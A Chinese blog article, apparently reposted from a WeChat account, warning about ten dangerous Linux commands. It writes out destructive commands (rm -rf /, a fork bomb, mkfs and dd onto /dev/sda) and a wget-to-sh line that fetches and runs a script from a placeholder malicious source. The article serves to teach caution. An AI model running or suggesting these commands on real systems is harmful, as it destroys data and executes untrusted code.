Linux里10个最危险的命令

全世界只有3.14 % 的人关注了

数据与算法之美


Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。推荐阅读Linux之父林纳斯自传《只是为了好玩》


这篇文章将会向你介绍十条命令,但你最好不要尝试着去使用。


当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。


1. rm -rf 命令


rm -rf命令是删除文件夹及其内容最快的方式之一。


仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。


下列是一些rm 命令的选项:


rm命令在Linux下通常用来删除文件。


rm -r 命令递归的删除文件夹,甚至是空的文件夹。


rm -f 命令能不经过询问直接删除‘只读文件’。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。


rm -rf / : 强制删除根目录下所有东东。


rm -rf *:强制删除当前目录的所有文件


rm -rf . : 强制删除当前文件夹及其子文件夹。


从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)


2. :{:|:&};: 命令


这就是个fork 炸弹的实例。


具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。


3. 命令> /dev/sda


这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。


该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。


4. mv 文件夹 /dev/null


这个命令会移动某个‘文件夹‘到/dev/null。


在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。


当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。


5. wget http://malicious_source -O- | sh


该命令会从一个(也许是)恶意源下载一个脚本并执行。


Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。


注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。


6. mkfs.ext3 /dev/sda


上列命令会格式化块设备‘sda’,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。


通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。


一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。


7. > file


这个命令常用来清空文件内容或记录命令输出。


不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。


你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。


如果用上列执行时输入错误或无知的输入类似 “> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。


8. ^foo^bar


这个命令用来编辑先前运行的命令而无需重打整个命令。


用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。


9. dd if=/dev/random of=/dev/sda


这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。


记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。


10. 隐藏命令


下面的命令其实就是上面第一个命令 (rm -rf)。


这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。


真正的危险是隐藏起来的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。


切记,千万不要编译/运行从未知来源的代码。


640?wx_fmt=jpeg


今天给大家带来的是个命令到这里就结束了啦,请千万记住不要再服务器或者其他设备上随意尝试~


如果你想测试它们,请在虚拟机上运行,不然文件丢失或者系统奔溃就不好了。


文章来源:程序师


640?wx_fmt=png精品课程推荐:

640?wx_fmt=png

640?wx_fmt=png

选购数学科普正版读物

严选“数学思维好物”

送给孩子的益智礼物   |   办公室神器

算法工程师成长阅读   |   居家高科技

理工科男女实用型礼物精选   

640?wx_fmt=jpeg

640?wx_fmt=jpeg

640?wx_fmt=jpeg

640?wx_fmt=jpeg640?wx_fmt=jpeg


数据与算法之美

用数据解决不可能


640?wx_fmt=jpeg



长按扫码关注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/302466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

arcgis xml 下载 切片_GIS开发:Arcgis的切片格式

常规的地图切片,存储在计算机的目录,一般都是以数字的模式,表现层级的文件夹名称,无外乎缩放等级(level),横向的切片数(x),纵向的切片数(y),例如下边的一个切片存放文件夹,按照level\y\x.jpg进行…

管理Apache服务器访问日志

管理Apache服务器访问日志 1.相关配置文件说明 一个优秀的Linux网络管理员会密切关注服务器日志系统,这些日志可以提供异常访问的线索。Apache可以记录所有的访问请求,同样,错误的请求也会记录。Apache配置文件中,需要…

《.NET内存管理宝典》在京东上架销售啦!

为什么要阅读本书正如本书第14章14.3节所提到的,如下类型的应用程序十分需要本书的知识。● 金融软件:特别是实时交易和所有需要基于大量各种数据以尽快得出答案的分析决策。● 大数据:虽然大数据通常都是批量、慢速处理,…

让你立刻爱上数学的10个算术游戏

全世界只有3.14 % 的人关注了数据与算法之美死理性派的小编经常会被问到的一个问题:数学到底哪里有趣了,数学之美又在哪里?这篇文章精心选择了 10 个老少咸宜的算术问题,以定理、趣题甚至未解之谜等各种形式带领大家窥探数学世界的…

python json方法详解_python详解json模块

我们在做工作中经常会使用到json模块,今天就简单介绍下json模块什么是jsonJSON ,全称为JavaScript Object Notation, 也就是JavaScript 对象标记,它通过对象和数组的组合米表示数据,构造简洁但是结构化程度非常高&…

iPhone 的 Push(推送通知)功能原理浅析

第一部分:Push原理(以下绝大多数内容参考自、图片来自iPhone OS Reference Library)机制简介Push 的工作机制可以简单的概括为下图图中,Provider是指某个iPhone软件的Push服务器。 APNS 是Apple Push Notification Service(Apple Push服务器&…

关于C#异步编程的建议

基于任务的异步编程模型 (TAP) 提供了异步代码的抽象化。你只需像往常一样将代码编写为一连串语句即可。就如每条语句在下一句开始之前完成一样,你可以流畅地阅读代码。编译器将执行许多转换,因为其中一些语句可能会开始运行并返回表示正在进行的工作的 …

编程从业五年的十四条经验,句句朴实

全世界只有3.14 % 的人关注了数据与算法之美排列不分先后:1. 当性能遇到问题时,如果能在应用层进行计算和处理,那就把它从数据库层拿出来。排序和分组就是典型的例子。在应用层做性能提升总是要比在数据库层容易的多。就像对于MySQL&#xff…

hashmap扩容 面试_HashMap面试,看完这一篇就够了(上)

以下HashMap源码的解析都是基于java8来讲解的。HashMap的结构是数组加链表的形式(jdk7中也是),在java8中引入了红黑树,由于红黑树的时间复杂度是O(log n),引入红黑树是为了解决在哈希冲突很严重的时候导致链表太长,从而引起的查找…

动态更改屏幕方向LANDSCAPE与PORTRAIT 转

动态更改屏幕方向……LANDSCAPE与PORTRAITpackage irdc.ex05_22;import android.app.Activity;import android.content.pm.ActivityInfo;import android.os.Bundle;import android.view.Display;import android.view.View;import android.widget.Button;import android.widget.…

C# action,delegate,func的用法和区别

以前我都是通过定义一个delegate来写委托的,但是最近看一些外国人写的源码都是用action和func方式来写,当时感觉对这很陌生所以看起源码也觉得陌生,所以我就花费时间来学习下这两种方式,然后发现确实代码简洁了不少。这两种方式我…

java实现红包要多少钱_Java实现抢红包算法,附完整代码(公平版和手速版)

当我们在群里抢红包时真的是手速越快红包金额越大吗?答案当然是并不是,都说了是拼手气,岂能是拼手速!不过也可以有拼手速的方法二倍均值法(公平版)这是一种很合理很公平的抢红包算法了,绝对不会让你拼手速的&#xff0…

堆和栈概念整理

1.内存管理方式: 堆:一般由程序员分配释放,程序员申请时需要指明大小,leg,C语言中malloc函数:p1(char*)malloc(10),C中:p2new char[20].若程序员不去释放,当程序结束时可能由操作系统释放 &…

.Net之Swagger基础使用

介绍Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。日常可以用于后端开发人员测试接口或者前后端联调使用。从.net5开始,swagger已经集成到vs2019编译器中,可以通过勾对选项“启用OpenAPI支持”显示…

孩子不是笨,他和“最强大脑”差的是这个!

小木最近看到一则消息推送,说家长辅导孩子陪写作业简直就是一道“送命题”。朋友圈更是掀起了一股“提前嫁儿嫁女”的热潮。为什么孩子对数学一点兴趣也没有?为什么再简单的一道题,换个数字换个形式,孩子就一问三不会了&#xff1…

c++ 隐藏进程_Linux 查看进程的动态信息

前言top命令经常用来监控Linux的系统状况,是常用的性能分析工具,能够实时显示系统中各个进程的资源占用情况目录一、描述二、top命令常用字段含义三、top中的子命令四、总结五、思维导图一、描述1、top命令经常用来监控Linux的系统状况是常用的性能分析工…

给IT新人的15个建议:苦逼程序员的辛酸反省与总结

很多人表面上看着老实巴交的,实际上内心比谁都好强、自负、虚荣、甚至阴险。工作中见的多了,也就习惯了。 有一些人,什么事都写在脸上,表面上经常得罪人,甚至让人讨厌。但是他们所表现的又未必不是真性情。 我相信大多…

.net core针对async ()=的安全处理

最近在做一个功能需要传递一个委托作为回调逻辑处理,但在使用中定义了async ()>来处理awaiter逻辑那就存在一个安全问题了。了解async/awaiter的朋友一定清楚async void函数带来的致命风险!async void会阻断异常路由,即当前函数没有try的情…

这三道题,总有一道你是答不出来的

全世界只有3.14 % 的人关注了数据与算法之美大家好,我是最近过得不太舒心的卢sir。经常被小思妹提的各种奇葩数学题搞得云里雾里的。我一看数学题就想做,没想到这些题目都是奇葩中的奇葩,不是那写错就是这计算错。为了捍卫我最后的倔强&#…

前端对div连线_《前端图形学从入门到放弃》003 三维世界

从本篇起,我们将正式进入webgl的3D世界本篇涵盖的内容包括:webgl它在干啥?如何画一个正方体?如何成为一个“有深度”的正方体?正方体要离家出走了!webgl它在干啥?首先我们需要知道webgl的世界其…